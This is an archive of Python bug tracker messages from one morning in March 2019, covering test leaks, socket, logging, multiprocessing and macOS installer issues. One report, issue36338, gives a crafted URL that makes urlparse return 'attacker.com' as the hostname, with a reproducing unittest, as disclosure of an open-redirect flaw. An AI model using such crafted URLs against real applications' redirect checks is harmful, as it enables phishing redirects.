Date: Mon, 18 Mar 2019 07:01:31 +0000
Subject: [issue36336] test_httplib,
 test_multiprocessing_forkserver leaks on x86 Gentoo
Message-ID: <1552892491.62.0.177603077727.issue36336@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

See this build report: https://buildbot.python.org/all/#/builders/72/builds/523

test_multiprocessing_forkserver leaked [1, 1, 1] memory blocks, sum=3
test_httplib leaked [1, 1, 1] memory blocks, sum=3
Re-running failed tests in verbose mode
Re-running test 'test_multiprocessing_forkserver' in verbose mode
test_multiprocessing_forkserver leaked [0, 0, 2] file descriptors, sum=2
Re-running test 'test_httplib' in verbose mode

----------
components: Library (Lib), Tests
keywords: 3.6regression
messages: 338165
nosy: matrixise
priority: normal
severity: normal
status: open
title: test_httplib, test_multiprocessing_forkserver leaks on x86 Gentoo
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36336>
_______________________________________

From report at bugs.python.org  Mon Mar 18 03:12:24 2019
From: report at bugs.python.org (kmiku7)
Date: Mon, 18 Mar 2019 07:12:24 +0000
Subject: [issue36337] Use socket.sendall()/send() send data larger than 2GB
 will be truncated and return None, without exception raised.
Message-ID: <1552893144.47.0.748633032605.issue36337@roundup.psfhosted.org>


New submission from kmiku7 <kakoimiku at gmail.com>:

In file Modules/socketmodule.c, sock_send/sock_sendall use int to keep array length need be sent and has sent.

----------
components: Library (Lib)
messages: 338166
nosy: kmiku7
priority: normal
severity: normal
status: open
title: Use socket.sendall()/send() send data larger than 2GB will be truncated and return None, without exception raised.
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36337>
_______________________________________

From report at bugs.python.org  Mon Mar 18 03:27:42 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 18 Mar 2019 07:27:42 +0000
Subject: [issue36321] Fix misspelled attribute name in namedtuple()
In-Reply-To: <1552767663.81.0.27756638002.issue36321@roundup.psfhosted.org>
Message-ID: <1552894062.76.0.543054673273.issue36321@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:


New changeset 23581c018fceb607fe829a41c6fbe81b4d502cab by Raymond Hettinger in branch 'master':
bpo-36321: Fix misspelled attribute in namedtuple() (GH-12375)
https://github.com/python/cpython/commit/23581c018fceb607fe829a41c6fbe81b4d502cab


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36321>
_______________________________________

From report at bugs.python.org  Mon Mar 18 03:27:58 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 18 Mar 2019 07:27:58 +0000
Subject: [issue36321] Fix misspelled attribute name in namedtuple()
In-Reply-To: <1552767663.81.0.27756638002.issue36321@roundup.psfhosted.org>
Message-ID: <1552894078.35.0.321691703196.issue36321@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12350

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36321>
_______________________________________

From report at bugs.python.org  Mon Mar 18 03:35:53 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 07:35:53 +0000
Subject: [issue36336] test_httplib,
 test_multiprocessing_forkserver leaks on x86 Gentoo
In-Reply-To: <1552892491.62.0.177603077727.issue36336@roundup.psfhosted.org>
Message-ID: <1552894553.29.0.346072900582.issue36336@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

I have tested on my laptop (fedora 29) and I can't reproduce these memory leaks.

I suppose we can not debug on the builder...

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36336>
_______________________________________

From report at bugs.python.org  Mon Mar 18 03:48:05 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 18 Mar 2019 07:48:05 +0000
Subject: [issue36321] Fix misspelled attribute name in namedtuple()
In-Reply-To: <1552767663.81.0.27756638002.issue36321@roundup.psfhosted.org>
Message-ID: <1552895285.81.0.577572517635.issue36321@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:


New changeset bedfbc790e18f14cfdd59cf27d27bb86518dc3fc by Raymond Hettinger (Miss Islington (bot)) in branch '3.7':
bpo-36321: Fix misspelled attribute in namedtuple() (GH-12375) (GH-12395)
https://github.com/python/cpython/commit/bedfbc790e18f14cfdd59cf27d27bb86518dc3fc


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36321>
_______________________________________

From report at bugs.python.org  Mon Mar 18 03:49:38 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 18 Mar 2019 07:49:38 +0000
Subject: [issue36321] Fix misspelled attribute name in namedtuple()
In-Reply-To: <1552767663.81.0.27756638002.issue36321@roundup.psfhosted.org>
Message-ID: <1552895378.44.0.281409339121.issue36321@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36321>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:01:42 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 18 Mar 2019 08:01:42 +0000
Subject: [issue36337] Use socket.sendall()/send() send data larger than 2GB
 will be truncated and return None, without exception raised.
In-Reply-To: <1552893144.47.0.748633032605.issue36337@roundup.psfhosted.org>
Message-ID: <1552896102.15.0.461981674218.issue36337@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Related issue : issue18100 . Seems this was fixed in 3.x .

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36337>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:03:00 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 18 Mar 2019 08:03:00 +0000
Subject: [issue36336] test_httplib,
 test_multiprocessing_forkserver leaks on x86 Gentoo
In-Reply-To: <1552892491.62.0.177603077727.issue36336@roundup.psfhosted.org>
Message-ID: <1552896180.42.0.196927488553.issue36336@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +pablogsal, vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36336>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:06:11 2019
From: report at bugs.python.org (Xianbo Wang)
Date: Mon, 18 Mar 2019 08:06:11 +0000
Subject: [issue36338] urlparse of urllib returns wrong hostname
Message-ID: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>


New submission from Xianbo Wang <sanebow at gmail.com>:

The urlparse function in Python urllib returns the wrong hostname when parsing URL crafted by the malicious user. This may be caused by incorrect handling of IPv6 addresses. The bug could lead to open redirect in web applications which rely on urlparse to extract and validate the domain of redirection URL.

The test case is as follows:

>>> from urllib.parse import urlparse
>>> urlparse(urlparse('http://benign.com\[attacker.com]').hostname
>>> 'attacker.com'

The correct behavior should be raising an invalid URL exception.

----------
components: Library (Lib)
messages: 338171
nosy: Xianbo Wang
priority: normal
severity: normal
status: open
title: urlparse of urllib returns wrong hostname
type: security
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:17:10 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 08:17:10 +0000
Subject: [issue36338] urlparse of urllib returns wrong hostname
In-Reply-To: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>
Message-ID: <1552897030.73.0.388264681423.issue36338@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

I can confirm with 3.7.2 on fedora 29

----------
nosy: +matrixise, orsenthil

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:26:29 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 08:26:29 +0000
Subject: [issue36338] urlparse of urllib returns wrong hostname
In-Reply-To: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>
Message-ID: <1552897589.25.0.399561920536.issue36338@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Here is a unittest where you can test this issue and the result on Python 3.8.0a2 and 3.7.2

>>> 3.8.0a2
./python /tmp/test_bug_36338.py
/tmp/test_bug_36338.py:8: SyntaxWarning: invalid escape sequence \[
  url = 'http://demo.com\[attacker.com]'
3.8.0a2+ (heads/master:23581c018f, Mar 18 2019, 09:17:05) 
[GCC 8.3.1 20190223 (Red Hat 8.3.1-2)]
test_bad_url (__main__.TestUrlparse) ... FAIL

======================================================================
FAIL: test_bad_url (__main__.TestUrlparse)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/tmp/test_bug_36338.py", line 13, in test_bad_url
    self.assertEqual(hostname, expected_hostname)
AssertionError: 'attacker.com' != 'demo.com'
- attacker.com
+ demo.com


----------------------------------------------------------------------
Ran 1 test in 0.001s

FAILED (failures=1)

>>> 3.7.2
python /tmp/test_bug_36338.py
3.7.2 (default, Jan 16 2019, 19:49:22) 
[GCC 8.2.1 20181215 (Red Hat 8.2.1-6)]
test_bad_url (__main__.TestUrlparse) ... FAIL

======================================================================
FAIL: test_bad_url (__main__.TestUrlparse)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/tmp/test_bug_36338.py", line 13, in test_bad_url
    self.assertEqual(hostname, expected_hostname)
AssertionError: 'attacker.com' != 'demo.com'
- attacker.com
+ demo.com


----------------------------------------------------------------------
Ran 1 test in 0.000s

FAILED (failures=1)

----------
Added file: https://bugs.python.org/file48215/test_bug_36338.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:28:03 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 18 Mar 2019 08:28:03 +0000
Subject: [issue36320] typing.NamedTuple to switch from OrderedDict to regular
 dict
In-Reply-To: <1552767001.87.0.278808375525.issue36320@roundup.psfhosted.org>
Message-ID: <1552897683.74.0.0765059123148.issue36320@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
keywords: +patch
pull_requests: +12351
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36320>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:29:45 2019
From: report at bugs.python.org (kmiku7)
Date: Mon, 18 Mar 2019 08:29:45 +0000
Subject: [issue36337] Use socket.sendall()/send() send data larger than 2GB
 will be truncated and return None, without exception raised.
In-Reply-To: <1552893144.47.0.748633032605.issue36337@roundup.psfhosted.org>
Message-ID: <1552897785.24.0.874716928826.issue36337@roundup.psfhosted.org>


kmiku7 <kakoimiku at gmail.com> added the comment:

Can we fix it in 2.7?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36337>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:30:41 2019
From: report at bugs.python.org (Bas Nijholt)
Date: Mon, 18 Mar 2019 08:30:41 +0000
Subject: [issue36281] OSError: handle is closed for ProcessPoolExecutor and
 run_in_executor
In-Reply-To: <1552498582.24.0.716871849164.issue36281@roundup.psfhosted.org>
Message-ID: <1552897841.4.0.513839618514.issue36281@roundup.psfhosted.org>


Change by Bas Nijholt <basnijholt at gmail.com>:


----------
type:  -> crash

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36281>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:33:53 2019
From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=)
Date: Mon, 18 Mar 2019 08:33:53 +0000
Subject: [issue36318] Adding support for setting the "disabled" attribute of
 loggers from logging.config.dictConfig
In-Reply-To: <1552761329.43.0.180278602772.issue36318@roundup.psfhosted.org>
Message-ID: <1552898033.86.0.922446365538.issue36318@roundup.psfhosted.org>


G?ry <gery.ogam at gmail.com> added the comment:

Actually people do this all the time, to deactivate the logging of some third-party libraries (me included). For instance:

* https://stackoverflow.com/questions/24344045/how-can-i-completely-remove-any-logging-from-requests-module-in-python
* https://stackoverflow.com/questions/34598952/how-to-disable-info-logging-from-a-third-party-module-in-python
* https://stackoverflow.com/questions/38102291/turn-off-logging-in-schedule-library

And currently we can only use either solution 2 or 3 with `logging.config.dictConfig` (which are more verbose and less explicit). We cannot use solution 1 with `logging.config.dictConfig`.

In addition, all public attributes in the `__init__` methods of the `logging.Formatter`, `logging.Handler` and `logging.Logger` classes can be set from `logging.config.dictConfig`, except the `disabled` attribute, which is inconsistent.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36318>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:34:57 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 18 Mar 2019 08:34:57 +0000
Subject: [issue36338] urlparse of urllib returns wrong hostname
In-Reply-To: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>
Message-ID: <1552898097.83.0.626609216265.issue36338@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:35:40 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 18 Mar 2019 08:35:40 +0000
Subject: [issue36337] Use socket.sendall()/send() send data larger than 2GB
 will be truncated and return None, without exception raised.
In-Reply-To: <1552893144.47.0.748633032605.issue36337@roundup.psfhosted.org>
Message-ID: <1552898140.84.0.332077724574.issue36337@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +giampaolo.rodola

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36337>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:36:38 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 18 Mar 2019 08:36:38 +0000
Subject: [issue36337] Use socket.sendall()/send() send data larger than 2GB
 will be truncated and return None, without exception raised.
In-Reply-To: <1552893144.47.0.748633032605.issue36337@roundup.psfhosted.org>
Message-ID: <1552898198.01.0.851496509927.issue36337@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36337>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:54:34 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 08:54:34 +0000
Subject: [issue36338] urlparse of urllib returns wrong hostname
In-Reply-To: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>
Message-ID: <1552899274.24.0.811816794682.issue36338@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:57:08 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 08:57:08 +0000
Subject: [issue36339] test_ttk_guionly: test_traversal() fails randomly on
 AMD64 Windows8.1 Refleaks 2.7
Message-ID: <1552899428.95.0.891639199681.issue36339@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

AMD64 Windows8.1 Refleaks 2.7:

https://buildbot.python.org/all/#/builders/33/builds/538

Previous related issues:

* bpo-8445
* bpo-11925

Extract of the test code:

    def test_traversal(self):
        self.nb.pack()
        self.nb.wait_visibility()

        self.nb.select(0)

        simulate_mouse_click(self.nb, 5, 5)
        self.nb.focus_force()
        self.nb.event_generate('<Control-Tab>')
        self.assertEqual(self.nb.select(), str(self.child2))  # <~~~ HERE
        self.nb.focus_force()
        self.nb.event_generate('<Shift-Control-Tab>')
        self.assertEqual(self.nb.select(), str(self.child1))
        ...


Buildbot logs:

test_traversal (test_ttk.test_widgets.NotebookTest) ... ok
test_traversal (test_ttk.test_widgets.NotebookTest) ... FAIL
...
test_xscrollcommand (test_ttk.test_widgets.TreeviewTest) ... ok
test_yscrollcommand (test_ttk.test_widgets.TreeviewTest) ... ok
test_identify (test_ttk.test_widgets.WidgetTest) ... ok
beginning 6 repetitions
123456
.test test_ttk_guionly failed -- Traceback (most recent call last):
  File "D:\buildarea\2.7.ware-win81-release.refleak\build\lib\lib-tk\test\test_ttk\test_widgets.py", line 1096, in test_traversal
    self.assertEqual(self.nb.select(), str(self.child2))
AssertionError: '.85131176L' != '.85291096L'

test_widget_state (test_ttk.test_widgets.WidgetTest) ... ok

======================================================================
FAIL: test_traversal (test_ttk.test_widgets.NotebookTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "D:\buildarea\2.7.ware-win81-release.refleak\build\lib\lib-tk\test\test_ttk\test_widgets.py", line 1096, in test_traversal
    self.assertEqual(self.nb.select(), str(self.child2))
AssertionError: '.85131176L' != '.85291096L'

----------------------------------------------------------------------
Ran 273 tests in 2.843s

FAILED (failures=1)
1 test failed again:
    test_ttk_guionly

----------
components: Tests
messages: 338176
nosy: pablogsal, vstinner
priority: normal
severity: normal
status: open
title: test_ttk_guionly: test_traversal() fails randomly on AMD64 Windows8.1 Refleaks 2.7
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36339>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:01:59 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 09:01:59 +0000
Subject: [issue36336] test_httplib,
 test_multiprocessing_forkserver leaks on x86 Gentoo
In-Reply-To: <1552892491.62.0.177603077727.issue36336@roundup.psfhosted.org>
Message-ID: <1552899719.06.0.597148053283.issue36336@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Python 3.6 no longer accept bugfixes, I don't think that it's worth it to investigate such flaky tests.

----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36336>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:04:05 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 09:04:05 +0000
Subject: [issue36273] test_thread leaks a core dump on PPC64 AIX 3.x
In-Reply-To: <1552407244.81.0.665825370239.issue36273@roundup.psfhosted.org>
Message-ID: <1552899845.79.0.284186779449.issue36273@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

David Edelsohn: Would you mind to have a look at this issue?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36273>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:06:23 2019
From: report at bugs.python.org (Dima Tisnek)
Date: Mon, 18 Mar 2019 09:06:23 +0000
Subject: [issue36340] 3.7.3rc1 Install Certificates fails on macOS
Message-ID: <1552899983.31.0.875168024252.issue36340@roundup.psfhosted.org>


New submission from Dima Tisnek <dimaqq at gmail.com>:

I've just installed Python 3.7.3rc1 for macOS 10.9 or later from the macOS 64-bit installer.

I've clicked the `Install Certificates.command`, which opened a Terminal, ran and failed with:

```
Last login: Mon Mar 18 16:36:21 on ttys010
Welcome to fish, the friendly interactive shell
? ~> /Applications/Python\ 3.7/Install\ Certificates.command ; exit;
 -- pip install --upgrade certifi
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/__main__.py", line 16, in <module>
    from pip._internal import main as _main  # isort:skip # noqa
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_internal/__init__.py", line 19, in <module>
    from pip._vendor.urllib3.exceptions import DependencyWarning
ModuleNotFoundError: No module named 'pip._vendor.urllib3.exceptions'
Traceback (most recent call last):
  File "<stdin>", line 44, in <module>
  File "<stdin>", line 25, in main
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/subprocess.py", line 347, in check_call
    raise CalledProcessError(retcode, cmd)
subprocess.CalledProcessError: Command '['/Library/Frameworks/Python.framework/Versions/3.7/bin/python3.7', '-E', '-s', '-m', 'pip', 'install', '--upgrade', 'certifi']' returned non-zero exit status 1.

[Process completed]
```

I was able to run the same command from my regular shell (iTerm2, fish, $PATH addons, etc.) and that completed just fine and installed certifi==2019.3.9

Either there's just something wrong with my system (what?) or the initial experience for average user is broken (unlikely?)...

----------
components: Installation
messages: 338179
nosy: Dima.Tisnek
priority: normal
severity: normal
status: open
title: 3.7.3rc1 Install Certificates fails on macOS
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36340>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:10:15 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Mar 2019 09:10:15 +0000
Subject: [issue35813] shared memory construct to avoid need for serialization
 between processes
In-Reply-To: <1548302525.41.0.348784694633.issue35813@roundup.psfhosted.org>
Message-ID: <1552900215.58.0.407338932197.issue35813@roundup.psfhosted.org>


Xavier de Gaye <xdegaye at gmail.com> added the comment:

After changeset e895de3e7f3cc2f7213b87621cfe9812ea4343f0, test_all fails on platforms that lack the _posixshmem extension module (Android for example):

======================================================================
FAIL: test_all (test.test___all__.AllTest) (module='multiprocessing.managers')
----------------------------------------------------------------------
Traceback (most recent call last):
File "/data/local/tmp/python/lib/python3.8/test/test___all__.py", line 34, in check_all
  exec("from %s import *" % modname, names)
AttributeError: module 'multiprocessing.managers' has no attribute 'SharedMemoryManager'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/data/local/tmp/python/lib/python3.8/test/test___all__.py", line 37, in check_all
  self.fail("__all__ failure in {}: {}: {}".format(
AssertionError: __all__ failure in multiprocessing.managers: AttributeError: module 'multiprocessing.managers' has no attribute 'SharedMemoryManager'


The following patch fixes the problem:

diff --git a/Lib/multiprocessing/managers.py b/Lib/multiprocessing/managers.py
index 7973012b98..3fdd60fff7 100644
--- a/Lib/multiprocessing/managers.py
+++ b/Lib/multiprocessing/managers.py
@@ -8,8 +8,7 @@
# Licensed to PSF under a Contributor Agreement.
#

-__all__ = [ 'BaseManager', 'SyncManager', 'BaseProxy', 'Token',
-            'SharedMemoryManager' ]
+__all__ = [ 'BaseManager', 'SyncManager', 'BaseProxy', 'Token' ]

#
# Imports
@@ -33,6 +32,7 @@ from . import get_context
try:
   from . import shared_memory
   HAS_SHMEM = True
+    __all__.append('SharedMemoryManager')
except ImportError:
   HAS_SHMEM = False

----------
nosy: +xdegaye

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35813>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:11:32 2019
From: report at bugs.python.org (Dima Tisnek)
Date: Mon, 18 Mar 2019 09:11:32 +0000
Subject: [issue36340] 3.7.3rc1 Install Certificates fails on macOS
In-Reply-To: <1552899983.31.0.875168024252.issue36340@roundup.psfhosted.org>
Message-ID: <1552900292.98.0.501258166337.issue36340@roundup.psfhosted.org>


Dima Tisnek <dimaqq at gmail.com> added the comment:

More system info:
I've had 3.7.2 installed from official installer prior to this.
Before that, I had 3.7.1 installed from official installer.
I also have 3.8a2. 3.6.8, 2.7.15 on the system, as well as an odd version from Homebrew.

My system site-packages for 3.7 now (after manual fix) contains ceritifi, pip (19.0.3), setuptools, pkg_resources, easy_install.py and README.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36340>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:11:56 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 09:11:56 +0000
Subject: [issue36337] Use socket.sendall()/send() send data larger than 2GB
 will be truncated and return None, without exception raised.
In-Reply-To: <1552893144.47.0.748633032605.issue36337@roundup.psfhosted.org>
Message-ID: <1552900316.95.0.335564568608.issue36337@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
keywords: +patch
pull_requests: +12352
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36337>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:13:16 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 09:13:16 +0000
Subject: [issue36337] Use socket.sendall()/send() send data larger than 2GB
 will be truncated and return None, without exception raised.
In-Reply-To: <1552893144.47.0.748633032605.issue36337@roundup.psfhosted.org>
Message-ID: <1552900396.13.0.260589274266.issue36337@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

2.7 is in bugfix mode, but I have created a PR (not yet completed, need to be tested with real unittest).

Could you try my PR and why not produce a script for the tests.

Thank you.

----------
nosy: +matrixise

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36337>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:17:19 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 09:17:19 +0000
Subject: [issue36340] 3.7.3rc1 Install Certificates fails on macOS
In-Reply-To: <1552899983.31.0.875168024252.issue36340@roundup.psfhosted.org>
Message-ID: <1552900639.32.0.68612638754.issue36340@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
components: +macOS
nosy: +ned.deily, ronaldoussoren

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36340>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:28:31 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Mar 2019 09:28:31 +0000
Subject: [issue36341] bind() on AF_UNIX socket may fail in tests run as
 non-root
Message-ID: <1552901311.8.0.284051575659.issue36341@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

This happens on Android where a SELinux policy prevents a plain user to bind() a pathname AF_UNIX socket (abstract and unnamed sockets are not constrained by this policy).

The errors are:

test_asyncio:
======================================================================
ERROR: test_start_unix_server_1 (test.test_asyncio.test_server.SelectorStartServerTests)
----------------------------------------------------------------------
Traceback (most recent call last):
File "/data/local/tmp/python/lib/python3.8/test/test_asyncio/test_server.py", line 105, in test_start_unix_server_1
  srv = self.loop.run_until_complete(asyncio.start_unix_server(
File "/data/local/tmp/python/lib/python3.8/asyncio/base_events.py", line 589, in run_until_complete
  return future.result()
File "/data/local/tmp/python/lib/python3.8/asyncio/streams.py", line 115, in start_unix_server
  return await loop.create_unix_server(factory, path, **kwds)
File "/data/local/tmp/python/lib/python3.8/asyncio/unix_events.py", line 285, in create_unix_server
  sock.bind(path)
PermissionError: [Errno 13] Permission denied

test_socket:
======================================================================
ERROR: test_socket_fileno (test.test_socket.GeneralModuleTests)
----------------------------------------------------------------------
Traceback (most recent call last):
File "/data/local/tmp/python/lib/python3.8/test/test_socket.py", line 1780, in test_socket_fileno
  s.bind(os.path.join(tmpdir, 'socket'))
PermissionError: [Errno 13] Permission denied

test_stat:
======================================================================
ERROR: test_socket (test.test_stat.TestFilemodeCStat)
----------------------------------------------------------------------
Traceback (most recent call last):
File "/data/local/tmp/python/lib/python3.8/test/test_stat.py", line 198, in test_socket
  s.bind(TESTFN)
PermissionError: [Errno 13] Permission denied

======================================================================
ERROR: test_socket (test.test_stat.TestFilemodePyStat)
----------------------------------------------------------------------
Traceback (most recent call last):
File "/data/local/tmp/python/lib/python3.8/test/test_stat.py", line 198, in test_socket
  s.bind(TESTFN)
PermissionError: [Errno 13] Permission denied

----------
components: Tests
messages: 338183
nosy: xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: bind() on AF_UNIX socket may fail in tests run as non-root
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36341>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:29:01 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 18 Mar 2019 09:29:01 +0000
Subject: [issue36332] compile() error on AST object with assignment expression
In-Reply-To: <1552860650.83.0.184007481233.issue36332@roundup.psfhosted.org>
Message-ID: <1552901341.85.0.818464498091.issue36332@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
keywords: +patch
pull_requests: +12353
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36332>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:31:18 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 18 Mar 2019 09:31:18 +0000
Subject: [issue36332] compile() error on AST object with assignment expression
In-Reply-To: <1552860650.83.0.184007481233.issue36332@roundup.psfhosted.org>
Message-ID: <1552901478.72.0.0766443290981.issue36332@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
nosy: +pablogsal

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36332>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:34:20 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 09:34:20 +0000
